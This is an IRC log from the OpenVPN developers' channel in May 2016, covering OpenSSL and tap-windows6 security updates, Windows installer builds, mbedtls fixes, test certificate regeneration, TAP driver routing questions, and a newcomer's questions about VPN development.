ValdikSS> Or not? 10:19 <@cron2> yes, but that's not "CBC MAC" - plus, opening the system openssl library isn't our job 10:19 <@cron2> s/opening/upgrading/ 10:20 <@cron2> we do AES-GCM in syzzer's new stuff, and can use AES-CBC for cipher, but not for MAC check 10:21 < ValdikSS> Ah, I see 10:48 <@mattock> in any case a new Windows installer release tomorrow 10:48 <@mattock> with the new tap-windows6 driver also 10:48 <@syzzer> cron2, ValdikSS: if I read the announcement correct is is applicable 10:48 <@syzzer> but tls-auth protects us 10:48 <@cron2> syzzer: why? 10:48 <@cron2> (why applicable) 10:49 <@syzzer> it's about the MAC check when using AES-CBC cipher suites 10:49 <@syzzer> *and* AES-NI enabled, but that is what openssl does by default 10:49 <@cron2> maybe I misunderstand what "the MAC check when using AES-CBC cipher suites" implies - any MAC? 10:49 <@syzzer> yes, at least that's how I read it 10:50 <@syzzer> otherwise I would have expected the term 'CMAC' 10:53 * cron2 wonders why that would happen... 10:59 <@syzzer> an AES-CBC cipher suite you mean? 10:59 <@syzzer> because you for some reason don't negotiate TLS 1.2, but something older 13:37 <@cron2> syzzer: well, not "an AES-CBC cipher", but "how would selection of the cipher + AES NI influence the MAC" 14:54 <@syzzer> cron2: ah, because openssl has an optimized AES-CBC-HMAC-SHA1 'AEAD' cipher 15:17 <@syzzer> ai, just noticed that even the test setup CA is 1024 bits, so this will be a tough migration... 15:43 <@cron2> well "just redo all of it, but keep the CNs" would be my favourite, then... 15:43 <@cron2> regarding the AES-CBC-HMAC-SHA1 cipher - would that be relevant for us, if we do not use it as "one-pass"? 15:45 <@cron2> thanks for the patches, btw, will test tomorrow 15:54 <@syzzer> that cipher is used internally, by openssl's ssl code 15:54 <@syzzer> we do not use it directly --- Day changed Wed May 04 2016 02:45 <@mattock> I'm building new Windows installers with new openssl + the new dual-signed tap-windows6 driver 02:46 <@mattock> there is a fair possibility that some versions of Windows will start complaining about the SHA2 signatures that the buildsystem adds to all files + the installer exe 02:46 <@mattock> probably the installer mostly 02:47 <@mattock> though I'll have to check what hash algorithm the previous installer's signatures had... could have been SHA2 02:49 <@mattock> ah, SHA256, so you can ignore the noise - no complaints so far 03:10 <@mattock> I'll keep SHA1 in the XP installers though 03:55 <@mattock> new installers out, I'll make some announcements next 03:55 <@cron2> cool 04:03 <@mattock> ok, there it went 04:03 <@mattock> we should probably write up something about openssl 1.0.1t to Trac 04:03 <@mattock> the tap-windows6 driver also includes a security fix from James 04:04 <@mattock> that needs some statements from us - I can create one from the Git commit message, which is pretty verbose 04:04 <@mattock> plus the vulnerability is not that bad, because it requires local admin privileges, and if you have those, then what's the point in hacking tap-windows6? 04:05 <@mattock> I need to split now, but will be back in 2-3 hours 04:05 <@mattock> more likely 43 04:05 <@mattock> sorry 04:05 <@mattock> 3 04:17 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 04:17 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 07:02 <@mattock> apparently there were no horrible problems with the new Windows installers, as nobody has screamed yet 07:03 <@mattock> I'm rather surprised CloudFlare has not (yet) caused any 404s for people 07:12 <@dazo> Quantum computing is getting closer ... https://www.youtube.com/watch?v=jf7D8snlsnQ 07:13 <@dazo> http://www.acm.ac.uk/ibm-launches-quantum-computing-as-a-cloud-service/ 07:13 <@dazo> duh 07:13 <@dazo> http://techcrunch.com/2016/05/03/ibm-brings-experimental-quantum-computing-to-the-cloud/ 07:13 <@vpnHelper> Title: IBM launches quantum computing as a cloud service | TechCrunch (at techcrunch.com) 10:52 <@syzzer> dazo: yes, cool stuff is about to happen (somewhere is the coming decades :') ) 15:41 <@vpnHelper> RSS Update - tickets: #681: CPU at 100% when attaching to OpenVPN management socket <https://community.openvpn.net/openvpn/ticket/681> --- Day changed Thu May 05 2016 02:19 <@mattock> fyi: the tap-windows6 vulnerability fix announcement: https://community.openvpn.net/openvpn/wiki/TapWindows6BufferOverflowVulnerability 02:19 <@vpnHelper> Title: TapWindows6BufferOverflowVulnerability – OpenVPN Community (at community.openvpn.net) 02:20 <@mattock> syzzer: is there something in particular about openssl-1.0.1t we should mention in a security announcement? 03:50 <@syzzer> mattock: no, I don't think so 05:45 <@cron2> hrmph, plaisthos beats me again 05:49 <@plaisthos> cron2: just wanted to ack that? :) 05:50 <@cron2> plaisthos: I was all willing to test and ACK dat :-) 05:51 * cron2 goes test the other one instead 05:52 <@plaisthos> cron2: too late ;) 05:52 <@cron2> the ack is not here yet... :) 05:52 <@plaisthos> I although I gave it only a compile test to be honest 05:52 <@plaisthos> the code looked easy enough 05:53 <@cron2> I have a cert that actually fails now, and the error message is meaningless - so this is a good test candidate :) 05:55 <@vpnHelper> RSS Update - gitrepo: mbedtls: check that private key and certificate match on start <https://github.com/OpenVPN/openvpn/commit/5c4acf3f7b2885270a9fb2d051a18759ab458c32> 06:01 <@vpnHelper> RSS Update - gitrepo: mbedtls: improve error reporting in tls verify callback <https://github.com/OpenVPN/openvpn/commit/524999ab35c79f0d9732647756ad6e4d4e11d73d> 06:05 <@plaisthos> that new error message looks good 06:05 <@cron2> much more useful than "flags=10000" :) 06:25 <@cron2> mattock: are you around? 06:30 <@cron2> argh 06:30 <@cron2> meh 06:30 <@cron2> syzzer: your patch is not working... 06:30 <@cron2> configure:23593: gcc -o conftest -g -O2 conftest.c -lmbedtls 06:30 <@cron2> -lmbedtls -lmbedcrypto -lmbedx509 >&5 06:30 <@cron2> /usr//lib/libmbedx509.a(x509_crt.o)(.text+0x2c0c): In function `mbedtls_x509_crt 06:30 <@cron2> _parse_file': 06:30 <@cron2> : undefined reference to `mbedtls_pk_load_file' 06:31 <@cron2> you actually need to do -lmbedx509 first, and then -lmbedcrypto 06:32 <@cron2> (this only seems to matter for static - .a - builds... and on the last round of build explosions, obsd49 and osol10 buildbots did not have the libraries yet at all) 06:57 <@plaisthos> x509 depending on crypto sounds more realistic than the other way round 07:00 <@cron2> yeah :) 07:20 <@syzzer> yeah, that makes sense 07:27 <@cron2> so, let's see what blows up now :) 07:34 <@vpnHelper> RSS Update - gitrepo: Fix library order in -lmbedtls test. <https://github.com/OpenVPN/openvpn/commit/1ae17b7e97881ab57352b0bd525f15e6e9b60011> 07:45 <@cron2> Thu May 5 14:44:51 2016 VERIFY ERROR: depth=1, subject=C=US, ST=California, L=Pleasanton, O=OpenVPN community project, CN=OpenVPN connectivity test server CA, emailAddress=samuli@openvpn.net: The certificate is not correctly signed by the trusted CA 07:46 <@cron2> progress! 07:46 <@plaisthos> :) 07:47 <@plaisthos> I just pushed my "Here is a new openssl version, whatever" release to the play store 07:48 <@cron2> hrmph 07:48 <@cron2> I'm not sure if *that* can be considered progress... 07:48 <@cron2> Thu May 5 14:47:01 2016 VERIFY ERROR: depth=0, subject=C=US, ST=California, L=Pleasanton, O=OpenVPN community project, CN=server, emailAddress=samuli@openvpn.net: The certificate validity starts in the future 07:49 <@cron2> just for the record: I have rolled new CA and server cert for "phillip" - so right now, *all* t_client tests will fail 07:50 <@cron2> building new keys for all clients, all with rsa2048 now - small caveat, phillip hat a system time that was off by about 15 minutes, so the keys won't be valid for another 13 minutes... 07:52 <@syzzer> haha, brilliant 07:53 <@cron2> I should really remember to check system time before doing cert stuff :-) 07:54 <@cron2> as a small nag... these new and improved error messages bring an extra newline... is there a \n in the errmsg that polar returns? 07:54 <@syzzer> cron2: yes, there is, and I didn't like it too 07:54 <@cron2> shall we chomp() it? 07:55 <@syzzer> hm, I could have thought about that :') 07:55 <@cron2> so it does not matter if errstr has one or not... 07:55 <@cron2> well, if you already noticed, you could have :-) 07:55 * cron2 could have looked more closely before pushing... 07:57 <@syzzer> mbed will also add newlines between messages when there are multiple flags enabled 07:58 <@syzzer> but that's sort-of ok 07:58 <@cron2> I was about to say that ("sort-of ok") :) 08:29 <@cron2> All 3 tests passed 08:29 <@cron2> ! 13:08 <@cron2> meh... buildbot master is drunk and does not have my -l fix in the tree yet 13:16 <@cron2> syzzer: Changes.rst, doc/openvpn.8...? 13:18 <@vpnHelper> RSS Update - gitrepo: Remove trailing newline from verify callback error messages <https://github.com/OpenVPN/openvpn/commit/d54a2488a0b7a678817b50e1518d0f31397b2e7b> 15:09 <@syzzer> cron2: hm, indeed. 15:10 <@syzzer> although this might be too much detail for Changes.rst 15:47 <@cron2> mmmh, arguably - nothing existing breaks, just a new variable is added - but I think it should show up in openvpn.8 --- Day changed Fri May 06 2016 01:56 <@mattock> interesting link (originally from ecrist): https://blog.malwarebytes.org/cybercrime/2015/04/tech-support-spam-plague-linkedin-and-other-high-traffic-sites/ 01:56 <@mattock> the same guys that were causing us headaches 02:01 <@cron2> oh, a mattock 02:02 <@cron2> mattock: you've seen the news regarding buildbot t_client certificates? 02:02 <@mattock> hmm no, I assume they've changed 02:03 <@cron2> yes :-) 02:03 <@cron2> mbedtls refuses anything that is less than 2048 bit RSA, so we could not even keep the old CA cert/key 02:03 <@cron2> I have moved away the old keys directory on phillip, and regenerated CA + server + <allmykeys>, and that seems to work nicely now (my buildslaves are green) 02:04 <@cron2> looking at the old directory, it looks like you also have access to the machine, so you could just regenerate and distribute your keys yourself - right? 02:05 <@cron2> with easy-rsa set up, it's really "look at the old keys directory, "foreach $file.crt do ./build-key $file ; done" as our CNs always match the file name... 02:05 <@cron2> keeping the CN is important because of ipp.txt - otherwise the client gets a new IP and t_client.rc needs to be adjusted 02:10 <@syzzer> cron2: can you provide me with a new t_clients set too? 02:11 <@cron2> syzzer: foxit-steffan-karger, right? anything else? and: where shall I put it? (You have access to one of my buildslaves, but I can't remember which one :) ) 02:17 <@syzzer> cron2: hm, good question, a fbsd one... let me see 02:17 <@syzzer> but yea, that's it 02:25 <@cron2> 1 out of 1 certificate requests certified, commit? [y/n]y 02:25 <@syzzer> fbsd90.ov.greenie.net, I think. no access to the machine with the right ssh key 02:26 <@cron2> looks like it, there's a "steffan" account :) 02:27 <@cron2> files are in your home dir... 02:27 <@syzzer> thanks :) 02:36 <@cron2> mattock: are you still with us? <:-o - anyway, I'll test the 10-I003-i686 later today 02:39 <@mattock> I'm back now, had to other stuff 02:40 <@mattock> I'll see if I can get into phillip 02:40 <@mattock> had to _do_ 02:41 <@mattock> my typoing skills have improved 02:44 <@mattock> I can't seem to get in to phillip using the password I used earlier 02:44 <@cron2> mattock: your username on phillip is "mattock" 02:45 <@mattock> yes, that is the one I used 02:45 <@cron2> shall I reset your password (and if yes, how can I receive the new one in a secure way)? 02:45 <@mattock> do you have GnuPG? 02:45 <@cron2> ah, wait 02:45 <@cron2> your password is fine, I think, but your shell is not 02:46 <@mattock> ok, can you fix it? 02:46 <@cron2> please check again 02:47 <@mattock> got in 02:47 <@cron2> good 02:47 <@cron2> your user is set to use "bash", but for whatever reason, there was none on the system... I think some FreeBSD updates might be in order... (and I think ecrist thinks I'll take care of it, so I'll do :) ) 02:49 <@mattock> is csh the only shell available out of the box on FreeBSD? 02:49 <@mattock> bash comes from ports so defaulting to that is always a bit risky 02:51 <@cron2> /bin/sh is there and /bin/csh 02:51 <@cron2> ok, afk for ~30 min - grocery shopping 02:53 <@mattock> switches to /bin/Sh 02:53 <@mattock> sh 03:20 <@mattock> some of the buildslaves will get the new keys automatically in about 30 minutes, while some I have to fix manually 03:20 <@mattock> I have not yet tested if they keys work 04:10 <@cron2> re 04:10 * cron2 looks forward to seeing all green again :) - and then "new buildslaves to set up, new all-red" 04:34 <@cron2> whee, booting my XP VM on the new desktop is fun... takes about 5 seconds 06:34 <@mattock> this Windows XP issue baffles me... I tested the patch very thoroughly before merging it, and I don't manage to reproduce the problem with my test NSIS script either 06:34 <@mattock> I guess I have to build a debug installer... 06:34 <@mattock> the comparison probably fails in an interesting way, and has_tap_windows6 is the fallback, so that's where it goes 06:35 <@mattock> or there's actually a tap-windows6 driver in the I00x installers, which I need to double check 06:44 <@mattock> no, it's tap-windows-9.9.2_3 as it should be 07:03 <@ecrist> cron2: do you want me to update philip? 07:03 <@ecrist> mattock: did you see my PM? 07:05 <@cron2> ecrist: no :) - I upgraded all pkgs and "freebsd-update" already 07:06 <@cron2> one could argue that 9.3-RELEASE would be in order eventually, but kids are keeping me busy 07:06 <@ecrist> but it's only 10.2 07:06 <@ecrist> you need a 9.3 system, too? 07:15 <@cron2> oh, 10.2, I did not look closely enough and thought it's 9.2 07:15 <@cron2> nah, 10.2 is good :) 07:23 <@ecrist> 10.3 is current, though, fwiw 07:29 <@cron2> right, but I really really like to stay on older still-supported trains - so all my machines are on 9.3-RELEASE or 10.1-RELEASE today, just a single test instance on 10.3 yet 07:29 * cron2 has become very conservative using "the latest and greatest!" stuff, if made by others :) 07:43 <@ecrist> fair enough. 07:44 <@ecrist> I suppose, even terrance is using 10.2 09:56 <@mattock> ecrist: yes, but only checked it out a moment ago 09:57 <@mattock> now I'll produce XP installers where the tap-windows check has been reverted 09:57 <@mattock> debug installers will also be available for fixing the issue for good 10:10 <@ecrist> :) 10:11 <@mattock> anyways, the spam filter on forums seems to be doing a good job 10:25 <@ecrist> we'll see how well it does long term, but it's promising so far. 11:04 <@cron2> mattock: just let me know what to test 11:34 <@mattock> ecrist: yep 11:34 <@mattock> cron2: check out this installer: http://build.openvpn.net/downloads/snapshots/openvpn-install-2.3.10-I004-i686.exe 11:35 <@mattock> it should say "Found tap-windows-9.9.2_3.exe (.)" when you run it 11:35 <@mattock> however, according to a user on IRC that tested this one it says Found tap-windows-9.9.2_3.exe ( ) instead 11:35 <@mattock> the dot being missing 11:35 <@mattock> which would explain the bug, but not why the bug exists 11:35 <@mattock> could be an XP thing 11:36 <@mattock> if you have time I'd be interested in seeing what it says on your Windows XP test rig 11:36 <@mattock> I need to split now, but will check back later in the evening 12:13 <@cron2> mattock: booting now... 12:15 <@cron2> mattock: it says "found tmp\tap-windows-9.9.2_3.exe ()" 12:16 <@cron2> so if the "tmp\" bit offsets it by +4, the empty result is still weird, it should be "-" then 12:16 <@cron2> and then "Jumped to has_tap_windows6 section" 14:27 <@mattock> yeah, so the results are the same as with the guy who tested it 14:27 <@mattock> I need to test the installer on Windows 7 and see if the results are as funky 14:59 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 250 seconds] 15:05 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 15:05 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Sun May 08 2016 13:08 -!- krzee [ba95f387@openvpn/community/support/krzee] has joined #openvpn-devel 13:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:12 < Thermi> Does the Windows TAP-Driver actually support having only a single address (netmask 255.255.255.255 or prefix lenth 32) address installed? Windows itself accepts that just fine. I can easily just assign a single address with prefix length 32 on an ethernet interface and then add routes to other hosts over that ethetnet interface. Works just fine. I can ping all the hosts I allow/route. 13:12 <@cron2> Thermi: well, that must be a newish windows thing. Traditionally, windows would refuse anything that is smaller than .252 (read: .254 or .255) 13:13 < Thermi> The background is that I want to marry the TAP driver to strongSwan, so people can use it to connect to IPSec VPNs from Windows, without having to use the crappy Agile VPN client. This is the shallow background (more information is available, but not necessary for these questions)= 13:13 < Thermi> cron2: I tested it on Windows 10. I could test on 7 and 8.1. I don't want to support anything older than 8 anyway, because Microsoft itself doesn't support it. 13:13 <@cron2> the tap driver itself should not care - as long as windows hands it the packet, it will come out of the socket interface 13:14 < Thermi> cron2: Okay, thank you. So what does the TAP driver actually do in tun mode? And what does Windows do? 13:14 < Thermi> cron2: AFAIR the driver just emulates an ethernet interface, so I guess Windows wants to do ARP requests over it? 13:14 <@cron2> in tun mode, the tap driver will proxy-arp, and strip/add ethernet headers 13:14 <@cron2> yes 13:15 < Thermi> cron2: Okay, thank you. So what addresses does it proxy arp? Any address? Only the ones that it is configured for? 13:16 <@cron2> I'm not sure, I did not look that closely at the IPv4 side of things. For IPv6, it proxy-ND's for fe80::8 ("because I thought that this is a nice number") - I think for IPv4, there is an ioctl() that OpenVPN calls and tells it which address is "the gateway", and that one is then proxy-arp'ed for 13:17 < Thermi> Well, with IPsec, there isn't necessarily a gateway that it is reachable over, so I guess I'd have to touch the driver to add support for that? 13:18 < Thermi> Coul I add a fake gw in the driver (something in site-local (169.[...])) that it proxy arps for and then just route all packets over the VPN over that gw? Or just make it proxy arp for anything? 13:18 <@cron2> Well, it being an ethernet interface, it needs to do next-hop resolving - so you can't point a default route "to the ethernet" (= arp for every single destination) 13:18 < Thermi> And for IPv6, I'd have to change that, too. 13:18 <@cron2> for IPv6, just use fe80::8 and be happy with it :-) 13:19 <@cron2> for IPv4, just set up a fake local network, and tell the tap driver about the fake gateway - it only has local relevance, as soon as the packet is "outside the driver", nobody remembers the gateway address it was sent to 13:19 < Thermi> cron2: Sure. I want to avoid any possible address conflicts. Because nobody is supposed to use site-local anyway, I think it would make a good choice. 13:20 < Thermi> I know how routing works, so no worries. I only wanted to have it proxy arp for anything, so I am free in choosing what IP I use as fake gw. 13:20 <@cron2> you'd need to modify the driver for that - but as long as your app is telling the driver, it would use that one 13:20 < Thermi> I currently only care about two things: 1) I can put any IP packet I want into the VPN 2) I don't have guaranteed address conflicts. 13:21 <@cron2> for v6, what good is "pick another one"? fe80:: is link-local anyway, so any address is as good as any other 13:22 < Thermi> cron2: So you mean I could generate a fake LL address, use that as fake GW and just route over it? 13:22 <@cron2> sure 13:22 < Thermi> The LL address range should be large enough to avoid conflicts, I guess. 13:22 <@cron2> trying to find the bit in openvpn right now that tells the tap adapter what the v4 gateway is 13:23 < Thermi> I looked at how the agile VPN client does it, and it seems to be a layer three VPN implementation, so I'm somewhat baffled how it does that. The GW address is 0.0.0.0 in the routes it adds. 13:23 < Thermi> So if the VPN interface it uses would be layer 2 (ethernet), it would do proxy arp for anything. 13:23 < Thermi> *have to do 13:23 <@cron2> right - which blows up windows arp tables, which is sort of ugly 13:24 * cron2 wishes for a non-ethernet-style virtual interface on windows, but nobody made one yet 13:24 <@cron2> ah, here we go 13:24 <@cron2> openvpn, tun.c, look for 13:24 <@cron2> status = DeviceIoControl (tt->hand, TAP_WIN_IOCTL_CONFIG_TUN, 13:24 <@cron2> (around line 5360 in git master) 13:24 < Thermi> Got it. I have the source open right now. 13:25 <@cron2> this is the ioctl that tells the tap driver what is considered "the local IP address", "the remmote address" 13:25 <@cron2> and I think you want 13:25 <@cron2> if (!DeviceIoControl (tt->hand, TAP_WIN_IOCTL_CONFIG_POINT_TO_POINT, 13:25 <@cron2> a few lines down :) 13:26 <@cron2> or maybe not - the first one sets up a subnet-style tun interface, the second one a traditional point-to-point ("my address, your address") but these two have to be in the same /30 13:27 <@cron2> given that TAP_WIN_IOCTL_CONFIG_TUN is not actually sending the gateway address, I think the tap driver actually might actually proxy-arp for everything in that subnet... 13:27 < Thermi> Thank you. That /30 restriction is what my original questions and sentences pointed to. Windows itself accepts a /32 just fine. So the question is if the problem is caused by the driver or a restriction of former Windows versions 13:27 <@cron2> (... that source code is so full of "we needed to do that hack 10 years ago...") 13:28 <@cron2> it was definitely not permitted on earlier windows versions 13:28 < Thermi> I'm checking 8.1 now. 13:28 <@cron2> well, more like "ME" and "XP" and such :) - this code base is OLD 13:28 < Thermi> Yes, I noticed because of the lack of documentation on the driver. ;) 13:30 < Thermi> Do you have any knowledge about writing a proper driver for newer Windows versions? I saw that there are newer driver frameworks available, but I do not really have the time to write a new one. :/ 13:30 < Thermi> It's my bachelor thesis and I only have about a month or so to finish it 13:30 <@cron2> just hack on the old tap driver, as everyone does :-) (but use the NDIS6 driver, not the old old NDIS5 one) 13:30 < Thermi> Okay, will do, if necessary. Any plans on writing a newer one? 13:31 <@cron2> well, more precisely, just *use* the driver, and hack your way around the limitations - e.g. by using site-locals for IPv4 13:31 <@cron2> OpenVPN tech paid a consultant to write the NDIS6 one (as NDIS5 is no longer officially supported on win8 and up) because nobody in the open source community has any clue about windows drivers... 13:31 * cron2 <- unix guy 13:32 < Thermi> Hehe. 13:32 < Thermi> Okay, I understand. 13:32 <@cron2> (I *did* add the IPv6 stuff to the NDIS5 windows driver, but that was because I wanted v6 support and nobody else was willing to do it...) 13:32 < Thermi> Isn't the company behind OpenVPN profit oriented? 13:33 <@cron2> there's "the company" (OpenVPN tech) which sells OpenVPN AS and support around that and runs privatetunnel.net as VPN service 13:33 <@cron2> and then there's "the open source community", which, well, does the open source project 13:33 <@cron2> we cooperate :) 13:33 < Thermi> Windows 8.1 supports /32s. 13:33 < Thermi> Okay. Which one of those actually "own" OpenVPNß 13:33 < Thermi> *? 13:34 <@cron2> the core of OpenVPN AS is "the community version", but it has nice extras, like "GUI" - in the other direction, the company makes the iOS client, which works with the open source version as well... 13:34 < Thermi> And I guess OpenVPN tech "owns" the Windows TAP driver? 13:34 <@cron2> OpenVPN tech *paid* for the TAP driver, and they provided signed installers, but if I'm not totally mistaken, the NDIS6 driver is GPLed 13:35 < Thermi> Sure. I guess copy right is owned by OpenVPN tech? 13:35 <@cron2> so, i'm not sure how to answer "who owns it" - as with openvpn itself: it's GPLed 13:35 <@cron2> https://github.com/OpenVPN/tap-windows6 13:35 <@vpnHelper> Title: GitHub - OpenVPN/tap-windows6: Windows TAP driver (NDIS 6) (at github.com) 13:35 <@cron2> it says "GPL-2" 13:36 < Thermi> Sure. Somebody still has copyright on it. 13:36 < Thermi> "The source and object code of the tap-windows6 project is Copyright (C) 2002-2014 OpenVPN Technologies, " 13:36 < Thermi> Tech. 13:36 <@cron2> the copyright notice 13:36 <@cron2> yeah :) 13:37 < Thermi> Hmh. 13:37 < Thermi> :/ 13:37 < Thermi> Oh well, workarounds it is. 13:37 <@cron2> but by GPLing it, they have opened up the "owning" of it - so you can fork it, roll your own, etc. - and they won't be annoyed :) 13:37 < Thermi> Unless I have time to learn the new framework and write the new driver. 13:37 < Thermi> I know about copyright, don't worry. 13:37 < Thermi> The questions was more towards who has interest in improving it. 13:38 < Thermi> WEll, Tech owns it, so I'm somwhat baffled that they don't roll a new one for newer Windows versions that supports all the stuff openvpn actually can do 13:39 <@cron2> well, the officially recommend way to run openvpn today is --topology subnet, and both ndis5 and ndis6 drivers can do that - so what are you missing? 13:39 < Thermi> Proper point to point support. 13:40 < Thermi> (Which OpenVPN on Linux/Unix can do. Just not on Windows) 13:41 <@cron2> iOS cannot do that, so the point is somewhat moot - you'd run your server in subnet mode anyway, as soon as you have a single mobile client 13:42 < Thermi> Meh. 13:42 < Thermi> :< 13:42 <@cron2> point to point is really not that important if you have subnet mode (which the windows driver did not have earlier, so you had to burn a /30 per client) 13:43 < Thermi> I understand. 13:44 < Thermi> Thank you for your answers. 13:44 <@cron2> happy to help :) --- Day changed Mon May 09 2016 02:52 <@syzzer> morning :) 03:15 <@cron2> mornin' 03:22 <@syzzer> meeting today? 03:41 <@cron2> I'm in 03:42 <@cron2> my topics would be 2.3.11 release and hackathon... lev__: are you around? 03:43 <@cron2> mattock: meeting? 04:10 <@syzzer> yes, the 2.3.11 release indeed is why I'm asking 04:11 <@syzzer> so I'm in too 04:30 <@mattock> um, meeting? what are those? :P 04:30 <@mattock> but yes, I guess we could organize one 04:31 <@mattock> I'll split now, but can announce the meeting in ~2 hours 06:22 <@mattock> shall I setup a meeting agenda? 06:41 <@mattock> cron2: all of my builds now show green 06:44 <@cron2> \o/ 06:44 <@cron2> and yes, please, for the meeting 06:44 <@cron2> btw, I'm impressed by all the cool stuff happening around the windows builds and GUI 06:47 <@mattock> well it was about time 06:47 <@mattock> anyways, it's possible that on next commit the whole house of cards falls down, so let's not celebrate too much :P 06:48 <@mattock> I'll setup the agenda 06:52 <@mattock> here: https://community.openvpn.net/openvpn/wiki/Topics-2016-05-09 06:52 <@vpnHelper> Title: Topics-2016-05-09 – OpenVPN Community (at community.openvpn.net) 06:52 <@mattock> anything to add before the announcement? 06:55 <@cron2> nah 07:02 <@mattock> ok 08:13 <@mattock> I was asked to include "Review VLAN patchset" in the topic list, so I added it there 08:39 <@cron2> start is 4:20h from now? 11:19 <@mattock> start is 1:42 hours from now 12:47 <@cron2> 0:14! 13:00 <@mattock> hmm, did the invitation say #openvpn-devel or #openvpn-meeting? 13:02 <@cron2> UTC) on #openvpn-meeting <at> irc.freenode.net. Note that the meeting 13:03 <@mattock> mkay 13:21 <@vpnHelper> RSS Update - gitrepo: Prevent integration test timeout bc. of sudo <https://github.com/OpenVPN/openvpn/commit/f40f10ea9607934faeb2b8cd84aefff0e0790189> 14:13 <@vpnHelper> RSS Update - gitrepo: Fixed port-share bug with DoS potential <https://github.com/OpenVPN/openvpn/commit/007738e9d6030c8989713543e4f7308ff57be30f> 14:40 < james12343> Hello any good developer here please help me 14:41 * cron2 is a bad and lazy developer 14:41 < james12343> lol 14:41 < james12343> i need some help 14:42 < james12343> i want to write a openvpn program 14:42 < james12343> i need algorithm 14:45 <@cron2> you can use openvpn, or hack on it, but "write an openvpn program" is a major effort - took us 15+ years 14:46 < james12343> ohh 14:47 < james12343> you mean to write this program i have to take many years 14:48 < james12343> omg 14:48 < james12343> i was thought its a little program 14:48 <@cron2> you need to understand crypto, networking, build systems, 10 different unix systems, windows, macOS 14:48 <@cron2> this has not been done on a lazy weekend :) 14:49 < james12343> you are right sir 14:49 < james12343> but i want it only for Android 14:49 <@cron2> just use "OpenVPN for Android", then? 14:50 <@cron2> (this also needs Java and Android knowledge...) 14:50 < james12343> i want to write and understand it 14:50 < james12343> to develope new 14:50 <@cron2> well, start by looking at the existing code... 14:50 < james12343> will you g8ve ne basuc idea 14:50 < james12343> i mean algorithm 14:51 < james12343> i saw source code 14:51 < james12343> but i did not understand what happened 14:52 <@cron2> well, if you want to write software, you need to learn to read and understand software - and openvpn is not something to start learning this, because it is large and complex 14:52 < james12343> if you write it from starting then how much it take time 14:52 < james12343> i mean you know everything about it 14:52 < james12343> i know 14:52 <@cron2> no... I understand the unix and networking bits. I do not understand the SSL stuff, or the Android stuff. 14:53 < james12343> its large and complex 14:53 <@cron2> syzzer understands SSL, plaisthos understands Android 14:53 < james12343> thanks 14:53 < james12343> will you teach my about networking 14:54 < james12343> networking bits 14:54 < james12343> give me just general idea 14:54 < james12343> how vpn works 14:55 <@cron2> there's a great book from Richard Stevens - "Unix Network Programming", it's a good start 14:55 <@cron2> and no, I can't teach you that here in the channel - it would take a 4 week course with hands on to understand networking and VPN properly 14:55 < james12343> i have some knowledge about networking 14:56 < james12343> oh i c thanks 14:56 < james12343> i will learn from books 14:56 < james12343> but sometime i need your help 14:56 < james12343> i understand network bytes order 14:57 < james12343> and terminal 14:58 < james12343> will you tell me from where openvpn start 15:00 < james12343> i don't ask complete algorithm just wanted to know basic things of openvpn 15:04 < james12343> will someone tell me whats is main difference between openvpn and normal vpn program 15:07 < james12343> is it possible to write a openvpn program for Symbian OS 15:09 < james12343> NO ONE HERE TO ANSWER ME? 15:09 < james12343> :( 15:12 < james12343> Hello syzer 15:12 < james12343> are you there? 15:30 <@cron2> haha 15:31 <@cron2> the snapshot build fails, because it cannot chdir to "openvpn-2.3.10" 15:38 < james12343> Hello cron 15:38 < james12343> will someone tell me whats is main difference between openvpn and normal vpn program 15:39 < james12343> cryptography?? 15:39 < james12343> or other things too...?? 16:21 < james12343> Hello cron2 --- Day changed Tue May 10 2016 01:50 <@cron2> good morning, heroic 2.3.11 release team :-) 02:02 <@syzzer> good morning cron2 :) (even though I don't have much to do with the release process...) 02:05 <@cron2> syzzer: oh, you did - The Very Fix we have all been waiting for came from you :) 02:37 <@plaisthos> james12343: What's your goal? 02:38 < james12343> i want to write openvpn program by my ownself 02:39 < james12343> i need some info about them 02:39 < james12343> how its works 02:40 < james12343> whst is algorithm for it 02:41 < james12343> plais is this possible to write openvpn program for Symbian s60v5 02:52 <@syzzer> wow, the git tree of openvpn-build really shows why I dislike the pull request workflow 02:52 <@syzzer> what a mess... 02:59 <@plaisthos> james12343: just to get a perspective, writing openvpn from scratch (even with a limited feature set) is probably something that takes 9-15 month when you already know crypto and networking stuff 03:00 <@plaisthos> james12343: if your goal is just to get openvpn running on symbian (that platform is quite dead) it would be easier to port the existing openvpn app 03:01 <@plaisthos> you would still need check if symbian even has an API for that 03:01 < james12343> plaise how can i port it 03:04 < james12343> what i need to know instead of Crypto and networking? 03:04 < james12343> vpn? 03:16 <@plaisthos> first step would be to check if and how user vpns can be implemented on sybmian 03:16 <@plaisthos> the answer might be: not possible 03:18 <@plaisthos> Remember that iOS gained that API in iOS 5 and Android gained that API in 4.0 03:20 <@plaisthos> and Sybmian 60 5th edition is from 2008 ... 03:25 < james12343> ohh you are right 03:26 < james12343> but in s60v5 another vpn works 03:26 <@plaisthos> james12343: as user installable 03:27 <@plaisthos> or as provided by the system? 03:27 < james12343> there is some vpn program which works on symbian 03:28 <@plaisthos> android and ios also had VPNs from the start but only those implemented by Apple/Google with no chance of installing extra VPNs 03:28 <@plaisthos> james12343: that might also use the system VPN services and not use its own protocol 03:28 < james12343> may be you are right 03:29 < james12343> plais what is header support in vpn 03:30 < james12343> and it works? 04:03 <@plaisthos> james12343: http header suppor for http proxy connectionst? yes it works 04:04 < james12343> how it works? for connection 04:10 <@plaisthos> james12343: ?! 04:10 <@plaisthos> james12343: I don't understand your question 04:22 <@plaisthos> We really need to get 2.4 out .... 04:23 <@plaisthos> I just noticed that Tunnelblick is using master snapshot builds as default instead of 2.3.x releases 04:34 <@cron2> Tunnelblick brings along multiple openvpn binaries 04:34 <@cron2> 2.3.x, master snapshots, and for a time, even 2.2.x 04:34 <@cron2> and there is a setup field where you can choose 04:48 <@plaisthos> cron2: yes, but the deault seems to be the master binary 04:50 <@cron2> this is new (and exciting), they used to be very conservative 04:51 <@cron2> but yeah, we need to get 2.4 out - registerdns, timeout, ciphers, --push-remove 04:51 < james12343> plais 04:52 < james12343> plaisthos.. 04:52 < james12343> how http header support works 04:53 < james12343> and why we need this.?? 04:57 